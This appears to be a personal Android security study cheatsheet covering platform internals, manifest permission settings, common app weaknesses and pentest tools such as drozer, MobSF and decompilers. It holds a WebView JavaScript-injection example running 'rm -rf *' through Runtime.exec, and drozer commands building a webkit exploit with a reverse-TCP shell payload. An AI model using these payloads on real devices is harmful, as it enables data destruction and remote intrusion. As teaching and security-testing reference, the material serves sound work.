Android-security

Content

Bookmarks

Awesomness

- OWASP Mobile Security Testing Guide
- OWASP mobile security - Top 10
- Best Practices for Security & Privacy - google cheatsheet
- Google security tips

- Anatomy of Android - internals, externals and all in between - several articles

Articles

- *Spoofing and intercepting SIM commands through STK framework - (Android 5.1 and below) (CVE-2015-3843)*
- *Google Chrome for Android: UXSS and Credential disclosure*

Mobile devices

- always online
- universal
  - used for personal purposes
  - used for work purposes
- contain a lot of *valuable* data (passwords from enterprise, from mail, from banks, OTP, ...)
- use wireless technologies: sim, Wifi, NFC, Bluetooth

STK (SIM Toolkit) - is a standard of the GSM system which enables the Subscriber Identity Module (SIM) to initiate actions. SIM can write text to mobile, ask question to user, make a call, etc. It also can contain java apps (JavaCard).

Intruder model

- hacker can obtain your telephone
- hacker succesfully installed app into your telephone
- hacker is somewhere near you and can communicate only via wireless technologies

---

Android system

- ASLR, NX, ProPolice, safe_iop, OpenBSD dlmalloc, OpenBSD calloc, and Linux mmap_min_addr
- user-granted and application-defined permissions
- Keystore

Android IPC is based on **binder mechanism** that is **Android RPC**, for defining binder interface is used AIDL (Android Interface Definition Language). Everything goes through binder, it uses shared memory in kernel to optimize copying data from app to app.

Broadcasts can be consumed by a receivers. If you want reliable delivery specify the receiver.

Android uses *Bionic libc* instead of glibc.
Application consists of components, system starts/stops them automatically.
Applications is installed to `/data/data/app_name`; `/mnt/sdcard` - removable storage

Android OS structure

- kernel (+ drivers)
- userspace libraries and APIs written in C (ssl, libc, sqlite, opengl, ...)
- an application framework (activity manager, window manager, content providers, ...)
- application software running inside the application framework

Android architecture - What is the architecture of an android app?

System startup

- system server (starts services)
- activity manager (looks after applications, monitors a lot, controls permissions, starts activities, services, etc.)
- launcher (home)

Toolchain

Compilation:
java source code –> .jar –> .dex –> .apk
Android < 5.0 java applications is interpreted by *Dalvik VM*. (however *ART* was added as alternative since 4.4)
Android >= 5.0 uses *ART (Android Runtime)* instead. It compiles application during installation to native instructions to be faster.
Dalvik VM was a register based instead of stack based java.

Android SDK (Software Development Kit) is environment for android develope and run (emulate devices, connect to them, etc.)
To bind C functions into Java code one can use JNI (Java Native Interface) (android developers uses NDK - native development kit)

adb - android debug bridge - usb gadget driver
using APKtool, IntelliJ IDEA, android sdk and decompilation tools, you can ***debug*** *application*

Keystore

Keystore is a class representing a storage facility for cryptographic keys and certificates. Keystore manages different types of entries: KeyStore.PrivateKeyEntry, KeyStore.SecretKeyEntry, KeyStore.TrustedCertificateEntry.

- Manifest (describes application components, app and components permissions)
  - Intents
    - *Activities*
    - *Servicies*
    - *Broadcast Receivers* (can be created programmically)
  - Permissions
  - *Content Providers*
- Native libs
- Classes

Manifest security points

Manifest specification

API Google for android

- (api >= 1) `<manifest>` `android:installLocation` - *internalOnly* or *auto* or *preferExternal*

- (api >= 23) `<uses-permission-sdk-23>` - Specifies that an app wants a particular permission, but only if the app is running on a device with API level 23 or higher.
- (api >= 1) `<permission android:name="com.example.project.DEBIT_ACCT" ... />` - declaring the permission to get access to app
  - `android:protectionLevel`
    - `normal` - a lower-risk permission that gives requesting applications access to isolated application-level features
    - `dangerous` - a higher-risk permission that would give a requesting application access to private user data or control over the device that can negatively impact the user.
    - `signature` - a permission that the system grants only if the requesting application is signed with the same certificate as the application that declared the permission.
    - `signatureOrSystem` - a permission that the system grants only to applications that are in the Android system image or that are signed with the same certificate as the application that declared the permission.

- (api >= 1) `<uses-permission android:name="android.permission.READ_CONTACTS" />` - the tag requesting the permission
- (api >= 4) `<uses-feature>` - declares types of hardware features smartphone must have (if `android:required="true"`) and better to have (if `android:required="false"`) (e.g. android.hardware.bluetooth)
- (api >= 3) `<uses-configuration>` - indicates if it needs some types of hardware and software features.

- (api >= 1) `<service>` - declares a service (a Service subclass) as one of the application's components.
  (api >= 1) `<receiver>` - broadcast receiver of intents from system and other apps.
  (api >= 1) `<activity>` - declares an activity (an Activity subclass) that implements part of the application's visual user interface.

- `android:isolatedProcess` (only for service and receiver) - indicates that service will run under a special process that is isolated from the rest of the system and *has no permissions of its own*.
- `android:permission` - specifies the permission caller/sender must have.
  If permission is not set, application's `<permission>` element will be used. If neither are set - the service is **not protected**.
- `android:process` - if starts with a `:`, a new process, private to the application, is created for service. If the process name begins with `a lowercase character`, the service will run in a global process of that name, provided that it has permission to do so. (allows different apps to share process, reducing resource usage)

`<activity-alias>` has attributes `enabled`, `exported` and `permission`.

- `<protected-broadcast android:name="...">` - tells android os to allow this application get broadcast messages only from system.

- (api >= 1) `<intent-filter>` - specifies the types of intents that an activity, service, or broadcast receiver can respond to.
  - `android-priority` - when an intent could be handled by multiple activities with different priorities
    for intent - android will consider only those with higher priority values as potential targets
    for broadcast receivers - priority controls the order in which broadcast receivers are executed to receive broadcast messages

- (api >= 1) `<provider>` - supplies structured access to data managed by the application.
  - `android:enabled` - be default is `true` - the provider can be instantiated by the system

- `android:permission`, `android:readPermission`, `android:writePermission` - the name of a permission that clients must have to read/write the content provider's data (last two takes precedence over the first one)
- `android:syncable` - whether or not the data under the content provider's control is to be synchronized with data on a server — "true" if it is to be synchronized, and "false" if not.

- `android:grantUriPermissions` - if "true", permission can be granted to any of the content provider's data
  if `false`, enables access to resources described in `<grant-uri-permission>`
  Permission to access using grantUriPermissions is granted by `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` flags in the Intent object that activates the component.
  - (api >= 1) `<grant-uri-permission>` - if `android:grantUriPermissions` is false, permission can be granted only to data subsets that are specified by this tag element.

- (api >= 4) `<path-permission>` - defines the path and required permissions for a specific subset of data within a content provider.
  - `android:permission`, `android:readPermission`, `android:writePermission` - the name of a permission that clients must have to read/write the content provider's data (last two takes precedence over the first one)

Vulnerable android app points

- secure **network** connections
  - analyse traffic
    - several frameworks for “comfort” can approve any self-signed cert, or developer can forget to check matching of certificate domain and server domain, etc.
    - use signed certificates (signed with CA, not expired, not recalled, with correct domain names)
      can be bypassed for reverse engineering, by adding your own root CA
    - use pinned certificates (checking if certificate from server matches certificate stored in application (hardcoded in code or in its resources))
      - defends from CA certificate being compromised, or from adding malicious certificate to the list of trusted certificates
      - requires application update for certificate update
      - hard (but possible) to bypass for reverse engineering *(SSLunpinning, android-ssl-bypass, Android-SSL-TrustKiller)*

      In android version 4.4 SSLunpinning works OK
    - *all* trafic must be encrypted, *NO* exclusions (such as advertisments, news, social network, telemetry, etc.)
  - analyse server side
  - analyse client side
- **IPC** - Interprocess communication
  - **Content providers** (allows to call application’s functionality (sometimes functionality can be critical))

    - application signature must be from the same developer
    - by application name
    - ask user (obviously users always tap *yes*)

  When accessing a content provider, use parameterized query methods such as query(), update(), and delete() to avoid potential SQL injection from untrusted sources.

- Android **Intents**
  - **broadcast** - broadcast messages handler
    android < 6.0 - any application can send a broadcast message
  - intent data must be validated

- After getting a broadcast intent you must get sure, whom it came from.
  Before sending broadcast intent you must got sure the target component has not been replaced by malicious content.
  Commands requiring user interaction are placed in a queue (e.g. requests from sim card). Therefore after getting answer from a user via broadcast intent you can not be confident if the user has replied to exactly your's request. There is a possibility attacker pushed his own malicious request in a queue just before you did. e.g. sim spoofing
- **Task activity hijacking** (paper)
  If user already installed malicious software, it can temper with taskAffinity to redirect user from good application to malicious one (purposes: fishing, ransomware, spyware, ...).
  Exists several attacking scenario's, all are based on specifying `taskAffinity` to change current task and return to other activities in malicious tasks, some methods can additionaly use `allowTaskReparenting=true`, `launchMode=singleTask` and

(run-as, etc.).

- **eval** equivalents in Android
  - **webview** javascript execution requirements:
    - setJavaScriptEnabled();
    - addJavaScriptInterface();

    in case we can inject into javascript our code we got RCE, e.g.
    `JavaObject.getClass().forname("java.lang.Runtime").getMethod("getRuntime", , null).invoke(null,null).exec(["/system/bin/sh","rm","-rf","*"])`

Information leaks:

- **logcat** - developers could have not disabled logging - handy for app analysis (android < 4.1 (api 16)) - logcat can be read by any application (after api 16 each application has its own log)
- application WebView (can store sensitive data just like a web browser)

Information leaks for application analysis:

- application can store sensitive information in **sqlite db** (credentials, ip-addresses, etc) possible sql injections
- application cache

Wireless attacks

- fake cellphone stations (GSM security)
- fake wifi hotspots (Wifi security)
  - if wifi is on, telephone always tries to connect to known hotspots
- NFC
- Bluetooth (headset)

SMS is **not encrypted** and **not authenticated** and can be intercepted, therefore it is absolutely insecure (nor their content, nor sender).

Android app defences

- root detection
  Runtime checks:
  - Standart files and configurations:

com.zachspong.temprootremovejb, com.ramdroid.appquarantine
busybox
  - Check output for `user`, `id`
  - Check filesystem rights:
    `/data` becomes readable
    a lot of directores at `/` become writable

Bypass for analysis:

  - RootCloak (uses method hooking (exec, file i/o, getInstalledApplications, etc.)) (Xposed framework needed)

- ssl-pinning
  procedure of storing ssl certificate of app's server inside application to make additional checks defending from MITM
  Bypass for analysis:
  - SSLunpinning (Xposed framework module), android-ssl-bypass, Android-SSL-TrustKiller (needs root, uses method hooking)

Android security tools

Evil-Droid - Evil-Droid Framework (framework that create & generate & embed apk payload to penetrate android platforms)

пример использования Frida

- debugging APK (article) (русский) - decompilation and debugging of APK
- ProGuard - most pupular optimizer (thus *obfuscator*) for java bytecode

- MobSF - Mobile Security Framework - an intelligent, all-in-one open source mobile application (Android/iOS/Windows) automated pen-testing framework capable of performing static, dynamic analysis and web API testing
  Garage4Hackers Webcast - Security Framework for Mobile Application Testing *(youtube video)*
- APKiD - Android application identifier for packers, protectors, obfuscators and oddities - PEiD for Android
- drozer - security testing framework for Android
  Connecting:
  ```
  # 1. Generate agent application apk
  $ drozer agent build
  # 2. Launch an agent application on android device
  # 3. Forward ports from avd to host
  ./adb forward tcp:31415 tcp:31415
  # 4. run drozer (e.g. console mode)
  drozer console --server localhost:31415 connect
  ```

  General commands:
  ```
  dz> list # show all modules
  dz> run app.package.list # list all packages
  ```

```
dz> run app.package.attacksurface test.app.sdk
dz> run app.package.launchintent test.app.sdk
dz> run app.provider.info -a test.app.sdk
dz> run app.activity.info -a test.app.sdk
dz> run app.service.info -a test.app.sdk
dz> run app.broadcast.info -a test.app.sdk
```

`Permission: null` - means no permissions needed to start activity/service/broadcast

Shellcode examples (trivial example):

```
$ drozer exploit list
$ drozer shellcode list
$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse_tcp.armeabi --server 10.0.2.2:31415
```

- qark - tool designed to look for several security related Android application vulnerabilities

Triggering intents (`./adb shell am -h`):

- `./adb shell am start -a android.intent.action.VIEW -c android.intent.category.DEFAULT -e foo bar -e bert ernie -n my.package.component.blah`
  (in Java code extraction: `extras.getString("foo")`)
- `./adb shell am start -n com.package.name/com.package.name.ActivityName` or `am start -a com.example.ACTION_NAME -n com.package.name/com.package.name.ActivityName`
- `./adb shell am broadcast -a android.intent.action.BOOT_COMPLETED -c android.intent.category.HOME -n net.fstab.checkit_android/.StartupReceiver`

- Other emulators: memu

Enable proxy for emulators:

- settings -> wireless & networks -> More -> Cellular networks -> Access Point Names -> T-Mobile US -> `<change proxy:port>` -> upper right corner -> Save
  However this method sometimes doesn't work
- `emulator -avd myavd -http-proxy http://168.192.1.2:3300`

Download APK:

- Raccoon - Google Play desktop client (allows to download android APK files) (look into `~/Documents/Racoon`)
- APK online downloader
- APK tool android application

APK disassemble

- unzip -> dex2jar
- APK Studio
- Apktool

- `aapt.exe` (`…\adt-bundle\sdk\build-tools\android-4.4W\`) – extract lots of information about .apk

- cfr
- jad
- dex2jar - dex->jar
- jadx - dex->java
- BytecodeViewer - combined utility (has various backends)
- procyon
- Luyten
- fernflower
- Krakatau (python required)

Other tools:

- apk deguard - statistical deobfuscation for android

- Nocturne - a graphical tool for creation of Java deobfuscation mappings
- Android-SSL-TrustKiller - bypass SSL certificate pinning for most applications
- Dexprotector – android-app obfuscator

- ApkAnalyser - static, virtual analysis tool

Crib - connecting to remote android emulator

Crib

Information Security

Information Security
phonexicum @ yandex.ru

phonexicum
phonexicum

I created this site in a burst of information security studying to organize my mind and create some kind of cheatsheet.